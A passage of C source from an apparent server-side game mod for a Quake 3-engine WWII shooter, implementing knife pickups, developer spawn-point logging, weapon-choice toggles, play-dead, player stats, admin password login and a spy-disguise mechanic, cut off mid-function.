hurt = qtrue; //mark that this knife damaged someone
}
}
if (hurt == qfalse) //if we didn't hurt anyone (can't do 'else' because of nested if statements above)
{
int makenoise = EV_ITEM_PICKUP;
// G_DPrintf("Item: %i %s\n", other->s.number, ent->item->classname); //log it
if (g_throwableKnives.integer > 0)
other->client->pers.throwingKnives++; //add the knife
//don't let us get more knives than the max
if (g_maxKnives.integer != 0) //max of 0 means no max
{
if (other->client->pers.throwingKnives > g_maxKnives.integer)
other->client->pers.throwingKnives = g_maxKnives.integer;
}
//no idea, copied from Touch_Item
if (ent->noise_index)
{
makenoise = EV_ITEM_PICKUP_QUIET;
G_AddEvent(other, EV_GENERAL_SOUND, ent->noise_index);
}
//also from Touch_Item
//send the pickup event
if (other->client->pers.predictItemPickup)
G_AddPredictableEvent(other, makenoise, ent->s.modelindex);
else
G_AddEvent(other, makenoise, ent->s.modelindex);
}
ent->freeAfterEvent = qtrue; //get rid of this item
ent->flags |= FL_NODRAW;
ent->r.svFlags |= SVF_NOCLIENT;
ent->s.eFlags |= EF_NODRAW;
ent->r.contents = 0;
ent->nextthink = 0;
ent->think = 0;
}
//////////////////////////////////Dev Commands/////////////////////////////////////////////
/*
=================
Cmd_MakeDmPoint_f
=================
*/
void Cmd_MakeDmPoint_f(gentity_t *ent)
{
FILE *dmpoints;
char v1[10];
char v2[10];
char v3[10];
char angle1[10];
char angle2[10];
char mapName[MAX_QPATH];
gitem_t *item;
gentity_t *spawnitem;
vec3_t launchvel;
launchvel[0]=0;
launchvel[1]=0;
launchvel[2]=0;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if(!g_makeDMspawns.integer)
return;
sscanf(vtos( ent->client->ps.origin ),"( %s %s %s )",&v1, &v2, v3);
sscanf(vtos(ent->client->ps.viewangles),"( %s %s 0 )",&angle1, &angle2);
dmpoints=fopen(va("%s.txt",mapName),"a");//Open file
if(level.LastDMpoint == 0)
fputs(va("if(level.DMspawnpoint = 0){\n"),dmpoints);
else
fputs(va("else if(level.DMspawnpoint == %i){\n",level.LastDMpoint),dmpoints);
fputs(va("deathmatchspawn[0]= %s;\n",v1),dmpoints);
fputs(va("deathmatchspawn[1]= %s;\n",v2),dmpoints);
fputs(va("deathmatchspawn[2]= %s;\n",v3),dmpoints);
fputs(va("deathmatchangles[1]= %s;\n",angle2),dmpoints);
fputs("}",dmpoints);
fclose(dmpoints);
trap_SendServerCommand( -1, va("chat \"^1INFO: ^3Deathmatch spawn point created at ORIGIN:(^5%s %s %s^3) ANGLE:(^5%s^3)\n\"",v1, v2, v3,angle2 ));
level.LastDMpoint++;
item = BG_FindItem("Gold");
spawnitem = LaunchItem(item, ent->client->ps.origin, launchvel, 99);
spawnitem->dl_color[0] = 0.2f;
spawnitem->dl_color[1] = 0.6f;
spawnitem->dl_color[2] = 1.0f;
spawnitem->spawnflags = 1;
SP_dlight(spawnitem);
}
void Cmd_Makepathcorner_f(gentity_t *ent)
{
FILE *dmpoints;
char v1[10];
char v2[10];
char v3[10];
char mapName[MAX_QPATH];
gitem_t *item;
gentity_t *spawnitem;
vec3_t launchvel;
launchvel[0]=0;
launchvel[1]=0;
launchvel[2]=0;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if(!g_makeDMspawns.integer)
return;
sscanf(vtos( ent->client->ps.origin ),"( %s %s %s )",&v1, &v2, v3);
dmpoints=fopen(va("path_corner%s.txt",mapName),"a");//Open file
if(level.LastDMpoint == 0)
fputs(va("if(SpawnsMade == 0){\n"),dmpoints);
else
fputs(va("else if(SpawnsMade == %i){\n",level.LastDMpoint),dmpoints);
fputs(va("ent->r.currentOrigin[0]= %s;\n",v1),dmpoints);
fputs(va("ent->r.currentOrigin[1]= %s;\n",v2),dmpoints);
fputs(va("ent->r.currentOrigin[2]= %s;\n",v3),dmpoints);
fputs("}",dmpoints);
fclose(dmpoints);
trap_SendServerCommand( -1, va("chat \"^1INFO: ^3path_corner point created at ORIGIN:(^5%s %s %s^3)\n\"",v1, v2, v3 ));
level.LastDMpoint++;
item = BG_FindItem("Gold");
spawnitem = LaunchItem(item, ent->client->ps.origin, launchvel, 99);
spawnitem->dl_color[0] = 0.2f;
spawnitem->dl_color[1] = 0.6f;
spawnitem->dl_color[2] = 1.0f;
spawnitem->spawnflags = 1;
SP_dlight(spawnitem);
}
/*
=================
Cmd_MakeDmWeap_f
=================
*/
void Cmd_MakeDmWeap_f(gentity_t *ent)
{
FILE *dmweap;
char v1[10];
char v2[10];
char v3[10];
char arg[MAX_STRING_TOKENS];
char arg1[MAX_STRING_TOKENS];
char mapName[MAX_QPATH];
gitem_t *item;
gentity_t *spawnitem;
vec3_t launchvel;
item = NULL;
if(!g_makeDMspawns.integer)
return;
launchvel[0]=0;
launchvel[1]=0;
launchvel[2]=0;
trap_Argv( 1, arg, sizeof( arg ) );
trap_Argv( 2, arg1, sizeof( arg1 ) );
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
sscanf(vtos( ent->client->ps.origin ),"( %s %s %s )",&v1, &v2, v3);
dmweap=fopen(va("%sWEAPONS.txt",mapName),"a");//Open file
if (strlen(arg1)){
fputs(va("item = BG_FindItem(\"%s %s\");\n",arg, arg1),dmweap);
}else{
fputs(va("item = BG_FindItem(\"%s\");\n",arg),dmweap);
}
fputs(va("spawnorigin[0] = %s;\n",v1),dmweap);
fputs(va("spawnorigin[1] = %s;\n",v2),dmweap);
fputs(va("spawnorigin[2] = %s;\n",v3),dmweap);
fputs("spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);\n",dmweap);
if (!Q_stricmp (arg, "thompson")){
fputs("spawnitem->count = 60;\n",dmweap);
fputs("spawnitem->item->quantity = 60;\n",dmweap);
item = BG_FindItem("Thompson");
}else if (!Q_stricmp (arg, "mp40")){
fputs("spawnitem->count = 64;\n",dmweap);
fputs("spawnitem->item->quantity = 64;\n",dmweap);
item = BG_FindItem("Mp40");
}else if (!Q_stricmp (arg, "sten")){
fputs("spawnitem->count = 64;\n",dmweap);
fputs("spawnitem->item->quantity = 64;\n",dmweap);
item = BG_FindItem("Sten");
}else if (!Q_stricmp (arg, "grenade")){
fputs("spawnitem->count = 1;\n",dmweap);
fputs("spawnitem->item->quantity = 1;\n",dmweap);
item = BG_FindItem("Grenade");
}else if (!Q_stricmp (arg, "pineapple")){
fputs("spawnitem->count = 1;\n",dmweap);
fputs("spawnitem->item->quantity = 1;\n",dmweap);
item = BG_FindItem("Pineapple");
}else if (!Q_stricmp (arg, "colt")){
fputs("spawnitem->count = 24;\n",dmweap);
fputs("spawnitem->item->quantity = 24;\n",dmweap);
item = BG_FindItem("Colt");
}else if (!Q_stricmp (arg, "luger")){
fputs("spawnitem->count = 24;\n",dmweap);
fputs("spawnitem->item->quantity = 24;\n",dmweap);
item = BG_FindItem("Luger");
}else if (!Q_stricmp (arg, "venom")){
fputs("spawnitem->count = 250;\n",dmweap);
fputs("spawnitem->item->quantity = 250;\n",dmweap);
item = BG_FindItem("Venom");
}else if (!Q_stricmp (arg, "panzerfaust")){
fputs("spawnitem->count = 2;\n",dmweap);
fputs("spawnitem->item->quantity = 2;\n",dmweap);
item = BG_FindItem("Panzerfaust");
}else if (!Q_stricmp (arg, "Flamethrower")){
fputs("spawnitem->count = 75;\n",dmweap);
fputs("spawnitem->item->quantity = 75;\n",dmweap);
item = BG_FindItem("Flamethrower");
}else if (!Q_stricmp (arg, "mauser")){
fputs("spawnitem->count = 12;\n",dmweap);
fputs("spawnitem->item->quantity = 12;\n",dmweap);
item = BG_FindItem("Mauser Rifle");
}else if (!Q_stricmp (arg, "grenades")){
fputs("spawnitem->count = 4;\n",dmweap);
fputs("spawnitem->item->quantity = 4;\n",dmweap);
item = BG_FindItem("Grenades");
}else if (!Q_stricmp (arg, "pineapples")){
fputs("spawnitem->count = 4;\n",dmweap);
fputs("spawnitem->item->quantity = 4;\n",dmweap);
item = BG_FindItem("Pineapples");
}else if (!Q_stricmp (arg, "Ammo")){
item = BG_FindItem("Ammo Pack");
}else if (!Q_stricmp (arg, "Med")){
item = BG_FindItem("Med Health");
}
fputs("\n",dmweap);
fclose(dmweap);
if (strlen(arg1))
trap_SendServerCommand( -1, va("chat \"^1INFO: ^3%s %s spawn point created at ORIGIN:(^5%s %s %s^3)\n\"", arg, arg1,v1, v2, v3));
else
trap_SendServerCommand( -1, va("chat \"^1INFO: ^3%s spawn point created at ORIGIN:(^5%s %s %s^3)\n\"",arg,v1, v2, v3));
spawnitem = LaunchItem(item, ent->client->ps.origin, launchvel, 99);
spawnitem->dl_color[0] = 0.5f;
spawnitem->dl_color[1] = 0.2f;
spawnitem->dl_color[2] = 1.0f;
SP_dlight(spawnitem);
}
/*
=========================
Cmd_MakeCustomLocation_f
=========================
*/
void Cmd_MakeCustomLocation_f(gentity_t *ent)
{
FILE *dmweap;
char v1[10];
char v2[10];
char v3[10];
char arg[MAX_STRING_TOKENS];
char mapName[MAX_QPATH];
gitem_t *item;
gentity_t *spawnitem;
vec3_t launchvel;
if(!g_makeDMspawns.integer)
return;
if (!strlen(arg)){
trap_SendServerCommand(ent-g_entities, "chat \"^5INFO: ^3You must enter a location name!\"");
return;
}
launchvel[0]=0;
launchvel[1]=0;
launchvel[2]=0;
trap_Argv( 1, arg, sizeof( arg ) );
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
sscanf(vtos( ent->client->ps.origin ),"( %s %s %s )",&v1, &v2, v3);
dmweap=fopen(va("%sLOCATIONS.txt",mapName),"a");//Open file
fputs(va("ent->message= \"%s\";\n",arg),dmweap);
fputs(va("ent->r.currentOrigin[0]= %s;\n",v1),dmweap);
fputs(va("ent->r.currentOrigin[1]= %s;\n",v2),dmweap);
fputs(va("ent->r.currentOrigin[2]= %s;\n",v3),dmweap);
fputs("\n",dmweap);
fclose(dmweap);
item = BG_FindItem("Gold");
spawnitem = LaunchItem(item, ent->client->ps.origin, launchvel, 99);
spawnitem->dl_color[0] = 0.5f;
spawnitem->dl_color[1] = 0.2f;
spawnitem->dl_color[2] = 1.0f;
SP_dlight(spawnitem);
trap_SendServerCommand( -1, va("chat \"^1INFO: ^3Location (^5%s^3) spawn point created at ORIGIN:(^5%s %s %s^3)\n\"", arg, v1, v2, v3));
}
/*
=====
STEN
=====
*/
void Cmd_Sten_f(gentity_t *ent)
{
if (!g_chooseMg.integer)
return;
if (ent->client->sess.sten > 0){
ent->client->sess.sten = 0;
trap_SendServerCommand(ent-g_entities, "cp \"Your gun is set back to normal.\"");
return;
}else{
ent->client->sess.sten++;
ent->client->sess.mp40 = 0;
ent->client->sess.thompson = 0;
trap_SendServerCommand(ent-g_entities, "cp \"You will spawn with a Sten.\"");
return;
}
}
/*
=====
MP40
=====
*/
void Cmd_MP40_f(gentity_t *ent)
{
if (!g_chooseMg.integer)
return;
if (ent->client->sess.mp40 > 0){
ent->client->sess.mp40 = 0;
trap_SendServerCommand(ent-g_entities, "cp \"Your gun is set back to normal.\"");
return;
}else{
ent->client->sess.mp40++;
ent->client->sess.thompson = 0;
ent->client->sess.sten = 0;
trap_SendServerCommand(ent-g_entities, "cp \"You will spawn with a MP40.\"");
return;
}
}
/*
=========
Thompson
=========
*/
void Cmd_Thompson_f(gentity_t *ent)
{
if (!g_chooseMg.integer)
return;
if (ent->client->sess.thompson > 0){
ent->client->sess.thompson = 0;
trap_SendServerCommand(ent-g_entities, "cp \"Your gun is set back to normal.\"");
return;
}else{
ent->client->sess.thompson++;
ent->client->sess.mp40 = 0;
ent->client->sess.sten = 0;
trap_SendServerCommand(ent-g_entities, "cp \"You will spawn with a Thompson.\"");
return;
}
}
/*
=========
Play dead
=========
*/
void Cmd_Playdead_f(gentity_t *ent){
if (g_headshotsOnly.integer !=0)
return;
if (!g_playDead.integer){ //just return if it's not enabled
trap_SendServerCommand( ent-g_entities, va("print \"Playdead is not enabled\n\"") );
return;
}
if (ent->client->ps.grenadeTimeLeft) //can't playdead while holding a ticking grenade
return;
if (ent->playdeadState == 0){ //if they do it from standing
//play the death animation
ent->client->ps.pm_time = BG_AnimScriptEvent(&ent->client->ps, ANIM_ET_DEATH, qfalse, qtrue);
ent->client->ps.pm_time += 2500; //make them lay there for at least a short time
ent->playdeadState = 1; //set the intermediate state
}
else if (ent->playdeadState == 2){ //if they do it from already playing dead
//play the jump up animation (does this work?)
//ent->client->ps.pm_time = BG_AnimScriptEvent(&ent->client->ps, ANIM_ET_JUMP, qfalse, qtrue);
//ent->client->ps.pm_time = BG_AnimScriptEvent(&ent->client->ps, ANIM_ET_REVIVE, qfalse, qtrue); //Agent - Lets try this animation, the jump just looks dumb :/
ent->client->ps.pm_time = BG_AnimScriptEvent( &ent->client->ps, ANIM_ET_REVIVE, qfalse, qtrue );
//BG_AnimScriptEvent( &ent->client->ps, ANIM_ET_REVIVE, qfalse, qtrue );
//ent->client->ps.pm_flags |= PMF_TIME_LOCKPLAYER;
//ent->client->ps.pm_time = 2100;
//traceEnt->client->ps.pm_flags |= PMF_TIME_LOCKPLAYER;
//traceEnt->client->ps.pm_time = 2100;
ent->client->ps.pm_time += 3000; //freeze them for a bit after getting up
ent->playdeadState = 3; //set the intermediate state
}
}
/*
==============
Cmd_dropObj_f
==============
*/
void Cmd_dropObj_f(gentity_t *ent){
gclient_t *client;
gitem_t *item=NULL;
vec3_t velocity, org, offset;
vec3_t angles,mins,maxs;
trace_t tr;
client = ent->client;
if ((g_dropObj.integer) && (ent->objDropCount < g_dropObj.integer))
{
//check for axis obj
if (ent->client->ps.powerups[PW_REDFLAG])
{
item = BG_FindItem("Red Flag");
if (!item)
item = BG_FindItem("Objective");
ent->client->ps.powerups[PW_REDFLAG] = 0;
}
//check for allied obj
if (ent->client->ps.powerups[PW_BLUEFLAG])
{
item = BG_FindItem("Blue Flag");
if (!item)
item = BG_FindItem("Objective");
ent->client->ps.powerups[PW_BLUEFLAG] = 0;
}
//if they have the obj
if (item)
{
gentity_t *flag;
//much of the following copied from the dropweapon code below
VectorCopy(client->ps.viewangles, angles);
// clamp pitch
if (angles[PITCH] < -30)
angles[PITCH] = -30;
else if (angles[PITCH] > 30)
angles[PITCH] = 30;
AngleVectors(angles, velocity, NULL, NULL);
VectorScale(velocity, 64, offset);
offset[2] += client->ps.viewheight/2;
VectorScale(velocity, 75, velocity);
velocity[2] += 50 + random() * 35;
VectorAdd(client->ps.origin,offset,org);
VectorSet(mins, -ITEM_RADIUS, -ITEM_RADIUS, 0);
VectorSet(maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS);
trap_Trace (&tr, client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy(tr.endpos, org);
flag = LaunchItem(item, org, velocity, client->ps.clientNum);
flag->s.modelindex2 = ent->s.otherEntityNum2;// JPW NERVE FIXME set player->otherentitynum2 with old modelindex2 from flag and restore here
flag->message = ent->message; // DHM - Nerve :: also restore item name
// Clear out player's temp copies
ent->s.otherEntityNum2 = 0;
ent->message = NULL;
ent->objDropCount++; //increase the drop count
}else{
if (g_throwableKnives.integer !=0)
Cmd_ThrowKnife_f(ent);
}
}
}
/*
==============================================================
Cmd_Stats_f
Client command to display individual player stats in the
console. Stats include kills, deaths, kill-death ratio,
gibs, accuracy detailing shots fired and hits, number of
players revived, number of health and ammo packs distributed,
and number of headshots. Team kills and gibs are also listed
if applicable.
==============================================================
*/
void Cmd_Stats_f(gentity_t *ent)
{
char message[MAX_STRING_CHARS];
gclient_t *client = ent->client;
int deaths = client->pers.deaths;
float killRatio = client->pers.kills;
int shots = client->pers.acc_shots;
float acc = 0.0f;
//avoid divide-by-0, will be equal to kills until player dies
if (deaths > 0)
killRatio = (float)client->pers.kills / (float)deaths;
//avoid divide-by-0 error, will be 0.0 until the player hits someone
if (shots > 0)
acc = ((float)client->pers.acc_hits / (float)shots) * 100.0f;
strcpy(message, va("print \"Stats for %s ^7this round: \n", client->pers.netname));
if(g_deathmatch.integer != 2){
strcat(message, va("^3Kills: ^7%d", client->pers.kills));
if (client->pers.teamKills > 0)
strcat(message, va(" (^1%d^7)", client->pers.teamKills)); //only show team kills if greater than 0
strcat(message, va(", "));
strcat(message, va("^3Deaths: ^7%d, ", deaths));
strcat(message, va("^3Kill Ratio: ^7%2.2f, ", killRatio));
strcat(message, va("^3Gibs: ^7%d", client->pers.gibs));
if (client->pers.teamGibs > 0)
strcat(message, va(" (^1%d^7)", client->pers.teamGibs)); //only show team gibs if greater than 0
strcat(message, va(" \n"));
strcat(message, va("^3Revived: ^7%d, ", client->pers.revives));
strcat(message, va("^3Packs Given: ^7%d health, %d ammo \n", client->pers.medPacks, client->pers.ammoPacks));
strcat(message, va("^3Accuracy: ^7%2.2f (%d/%d), ", acc, client->pers.acc_hits, shots));
strcat(message, va("^3Headshots: ^7%d \n", client->pers.headshots));
strcat(message, va("^3Goombas: ^7%d, ", client->pers.goomba));
strcat(message, va("^3Poisons: ^7%d \n", client->pers.poisons));
}else{
strcat(message, va("^3Kills: ^7%d,", client->pers.kills));
strcat(message, va("^3Deaths: ^7%d, ", deaths));
strcat(message, va("^3Kill Ratio: ^7%2.2f, ", killRatio));
strcat(message, va(" \n"));
strcat(message, va("^3Accuracy: ^7%2.2f (%d/%d), ", acc, client->pers.acc_hits, shots));
strcat(message, va("^3Headshots: ^7%d \n", client->pers.headshots));
}
strcat(message, "\"");
trap_SendServerCommand(ent-g_entities, message);
}
/*
===================
Cmd_HighAcheivers_f
===================
*/
void Cmd_HighAcheivers_f( gentity_t *ent ) {
if(level.HAkillnum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Kills:^7 %i %s \n",level.HAkillnum, level.HAhighkillers) );
if(level.HAgibnum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Gibs:^7 %i %s \n",level.HAgibnum, level.HAhighgibbers) );
if(level.HAdeathnum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Deaths:^7 %i %s \n",level.HAdeathnum, level.HAhighdeaths) );
if(level.HArevivenum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Revies:^7 %i %s \n",level.HArevivenum, level.HAhighrevivers) );
if(level.HAtknum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Teamkills:^7 %i %s \n",level.HAtknum, level.HAtkers) );
if(level.HAammonum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Ammo given:^7 %i %s \n",level.HAammonum, level.HAhighammogivers) );
if(level.HAmednum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Med given:^7 %i %s \n",level.HAmednum, level.HAhighmedgivers) );
if(level.HAHshotnum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Headshots:^7 %i %s \n",level.HAHshotnum, level.HAheadhunters) );
if(level.HAgoombanum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Goombas:^7 %i %s \n",level.HAgoombanum, level.HAhighgoombaers) );
if(level.Hapoisonnum > 0)
trap_SendServerCommand( ent-g_entities, va("print \"^3Most Poisons:^7 %i %s \n",level.Hapoisonnum, level.Hahighpoisoners) );
}
/*
============
Cmd_Login_f
============
*/
void Cmd_Login_f( gentity_t *ent ) {
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
qboolean silent;
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_Argv( 2, arg2, sizeof( arg2 ) );
silent=qfalse;
if ( !Q_stricmp( arg1, "none" ) ) {
trap_SendServerCommand(ent-g_entities, va("print \"^1INVALID PASSWORD!\n\""""));
return;
}
if ( !Q_stricmp( arg2, "s" ) || !Q_stricmp( arg2, "silent" ) || !Q_stricmp( arg2, "-s" ) )
silent=qtrue;
if (ent->client->sess.admin || ent->client->sess.developer){
trap_SendServerCommand(ent-g_entities, va("print \"^3You are already logged in.\""));
return;
}
if ( !Q_stricmp( arg1, a1_pass.string ) ) {
if(!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a1_loginmsg.string, a1_status.string));
ent->client->sess.admin=1;
Q_strncpyz(ent->client->sess.status, a1_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a1_loginmsg.string, a1_status.string);
} else if ( !Q_stricmp( arg1, a2_pass.string ) ) {
if(!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a2_loginmsg.string, a2_status.string));
ent->client->sess.admin=2;
Q_strncpyz(ent->client->sess.status, a2_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a2_loginmsg.string, a2_status.string);
} else if ( !Q_stricmp( arg1, a3_pass.string ) ) {
if(!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a3_loginmsg.string, a3_status.string));
ent->client->sess.admin=3;
Q_strncpyz(ent->client->sess.status, a3_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a3_loginmsg.string, a3_status.string);
} else if ( !Q_stricmp( arg1, a4_pass.string ) ) {
if(!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a4_loginmsg.string, a4_status.string));
ent->client->sess.admin=4;
Q_strncpyz(ent->client->sess.status, a4_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a4_loginmsg.string, a4_status.string);
} else if ( !Q_stricmp( arg1, a5_pass.string ) ) {
if(!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a5_loginmsg.string, a5_status.string));
ent->client->sess.admin=5;
Q_strncpyz(ent->client->sess.status, a5_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a5_loginmsg.string, a5_status.string);
} else if ( !Q_stricmp(arg1, a6_pass.string ) ) {
if (!silent)
trap_SendServerCommand(-1, va("chat \"console: %s %s %s\n\"", ent->client->pers.netname, a6_loginmsg.string, a6_status.string));
ent->client->sess.admin = 6;
Q_strncpyz(ent->client->sess.status, a6_status.string, sizeof(ent->client->sess.status));
S4ND_Log("ADMIN Login: %s(%s) %s %s", ent->client->pers.netname, ent->client->sess.ip, a6_loginmsg.string, a6_status.string);
} else {
trap_SendServerCommand(ent-g_entities, va("print \"^1INVALID PASSWORD!\n\""));
S4ND_Log("ADMIN Login: %s(%s) failed to login with %s\n",ent->client->pers.netname,ent->client->sess.ip, arg1);
}
}
/*
============
Cmd_Logout_f
============
*/
void Cmd_Logout_f( gentity_t *ent ) {
if (ent->client->sess.admin){
trap_SendServerCommand(-1, va("chat \"console: %s ^7has logged out.\n\"",ent->client->pers.netname));
ent->client->sess.admin = 0;
return;
}
if (ent->client->sess.developer){
ent->client->sess.developer = 0;
return;
}
trap_SendServerCommand(ent-g_entities, va("print \"^3You are not logged in.\n\""));
}
/*
============
Cmd_Spy_f
============
*/
void Cmd_Spy_f( gentity_t *ent) {
int chargetime=0;
gentity_t *target;
trace_t tr;
vec3_t start, end, forward;
AngleVectors(ent->client->ps.viewangles, forward, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 96, forward, end); //put 'end' 96 units forward of 'start'
//see if we hit anything between 'start' and 'end'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, CONTENTS_CORPSE);
//if we didn't hit a player, return
if (tr.entityNum >= MAX_CLIENTS)
return;
target = &(g_entities[tr.entityNum]);
if ((!target->inuse) || (!target->client)) //if the player is lagged/disconnected/etc
return;
if (target->client->ps.stats[STAT_HEALTH] > 0) //if they're alive
return;
if (OnSameTeam(ent,target))
return;
if(!g_allowSpys.integer){
trap_SendServerCommand( ent-g_entities, "cp \"^3Spys are not enabled!\n\"");
return;
}
//the client is dead so return
if(ent->client->ps.stats[STAT_HEALTH] < 1)
return;
if(g_gamestate.integer != GS_PLAYING)
return;
if(ent->client->ps.powerups[PW_REDFLAG] || ent->client->ps.powerups[PW_BLUEFLAG])
return;
//figure out which chargetime we should use
if (ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC){
chargetime = g_medicChargeTime.integer;
if((g_allowSpys.integer != 8)&&(g_allowSpys.integer != 9)&&(g_allowSpys.integer != 10)&&(g_allowSpys.integer != 11)&&(g_allowSpys.integer != 12)&&(g_allowSpys.integer != 13)&&(g_allowSpys.integer != 14)&&(g_allowSpys.integer != 15)){//Med
trap_SendServerCommand( ent-g_entities, "cp \"^3You are not allowed to be a spy as Medic!\n\"");
return;
}
}else if(ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER){
chargetime = g_engineerChargeTime.integer;
if((g_allowSpys.integer != 2)&&(g_allowSpys.integer != 3)&&(g_allowSpys.integer != 6)&&(g_allowSpys.integer != 7)&&(g_allowSpys.integer != 10)&&(g_allowSpys.integer != 11)&&(g_allowSpys.integer != 14)&&(g_allowSpys.integer != 15)){//Eng
trap_SendServerCommand( ent-g_entities, "cp \"^3You are not allowed to be a spy as Engineer!\n\"");
return;
}
}else if(ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_LT){
chargetime = g_LTChargeTime.integer;
if((g_allowSpys.integer != 4)&&(g_allowSpys.integer != 5)&&(g_allowSpys.integer != 6)&&(g_allowSpys.integer != 7)&&(g_allowSpys.integer != 12)&&(g_allowSpys.integer != 13)&&(g_allowSpys.integer != 14)&&(g_allowSpys.integer != 15)){//LT
trap_SendServerCommand( ent-g_entities, "cp \"^3You are not allowed to be a spy as LT!\n\"");
return;
}
}else{
chargetime = g_soldierChargeTime.integer;
if((g_allowSpys.handle != 1)&&(g_allowSpys.integer != 3)&&(g_allowSpys.integer != 5)&&(g_allowSpys.integer != 7)&&(g_allowSpys.integer != 9)&&(g_allowSpys.integer != 11)&&(g_allowSpys.integer != 13)&&(g_allowSpys.integer != 15)){//soldier
trap_SendServerCommand( ent-g_entities, "cp \"^3You are not allowed to be a spy as Soilder!\n\"");
return;
}
}
if (level.time - ent->client->ps.classWeaponTime < chargetime){//they dont have full charge
trap_SendServerCommand( ent-g_entities, "cp \"^3You must have a full charge!\n\"");
return;
}
//Tell them they have taken the uniform
/*
if (target->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC){
trap_SendServerCommand( ent-g_entities, "cp \"^3You are now disguised as a Medic!\n\"");
}else if(target->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER){
trap_SendServerCommand( ent-g_entities, "cp \"^3You are now disguised as an Engineer\n\"");
}else if(target->client->ps.stats[STAT_PLAYER_CLASS] == PC_LT){
trap_SendServerCommand( ent-g_entities, "cp \"^3You are now disguised as an LT!\n\"");
}else{
trap_SendServerCommand( ent-g_entities, "cp \"^3You are now disguised as a Soldier!\n\"");
}
*/
//Agent Rewrite
//make it print in chat so u know 100% that you got one.
if (target->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC){
trap_SendServerCommand( ent-g_entities, "chat \"^3You are now disguised as a Medic!\n\"");
}else if(target->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER){
trap_SendServerCommand( ent-g_entities, "chat \"^3You are now disguised as an Engineer!\n\"");
}else if(target->client->ps.stats[STAT_PLAYER_CLASS] == PC_LT){
trap_SendServerCommand( ent-g_entities, "chat \"^3You are now disguised as a Lieutenant!\n\"");
}else{
trap_SendServerCommand( ent-g_entities, "chat \"^3You are now disguised as a Soldier!\n\"");
}
ent->client->ps.classWeaponTime = level.time;//reset their charge bar
ent->client->ps.isSpy = qtrue;//make them a spy
ent->client->ps.spyType = target->client->ps.stats[STAT_PLAYER_CLASS];//get the class of the stolen uniform
ClientUserinfoChanged(ent->client->ps.clientNum);//change their clothes!
limbo(target, qtrue);//gib the other guy and send him off to be reinforced
}
/*
============
Cmd_FindDMpoints_f
============
*/
void Cmd_FindDMpoints_f( gentity_t *ent ) {
trap_SendServerCommand(ent-g_entities, va("print \"^3ORIGIN:^7 %.99s\n\"",vtos( ent->client->ps.origin ) ));
trap_SendServerCommand(ent-g_entities, va("print \"^3ANGLES:^7 %.99s\n\"", vtos( ent->client->ps.viewangles ) ) );
}
//From ubersoldat code
/*
=========================
ClientNumberFromNameMatch
=========================
*/
int ClientNumberFromNameMatch(char *name, int *matches){
int i, textLen;
char nm[32];
char c;
int index = 0;
Q_strncpyz(nm, name, sizeof(nm)); //copy the name match
Q_CleanStr(nm); //get rid of any color codes etc
textLen = strlen(nm);
c = *nm; //the first letter of the name match
for (i = 0; i < level.maxclients; i++) //loop through all the possible clients
{
int j, len;
char playerName[32];
if ((!g_entities[i].client) || (g_entities[i].client->pers.connected != CON_CONNECTED)) //if this client isn't connected, skip them
continue;
Q_strncpyz(playerName, g_entities[i].client->pers.netname, sizeof(playerName)); //copy the player's name
Q_CleanStr(playerName); //remove any color codes etc
len = strlen(playerName);
for (j = 0; j < len; j++) //go through the player's name letter by letter
{
if (tolower(c) == tolower(playerName[j])) //compare the first letter of the name match to each letter in the player's name
{
//if they're the same, check to see if the whole name match can be found
if (!Q_stricmpn(nm, playerName+j, textLen))
{
matches[index] = i; //we have a match, so record the client number
index++; //increment the index counter
break; //break out of the 'j' FOR loop because we already matched this client
}
}
}
}
return index; //return the number of matched client names
}
//end
/*
================
Cmd_Clientnum_f
================
*/
void Cmd_Clientnum_f(gentity_t *ent)
{
char name[32];
int nums[MAX_CLIENTS];
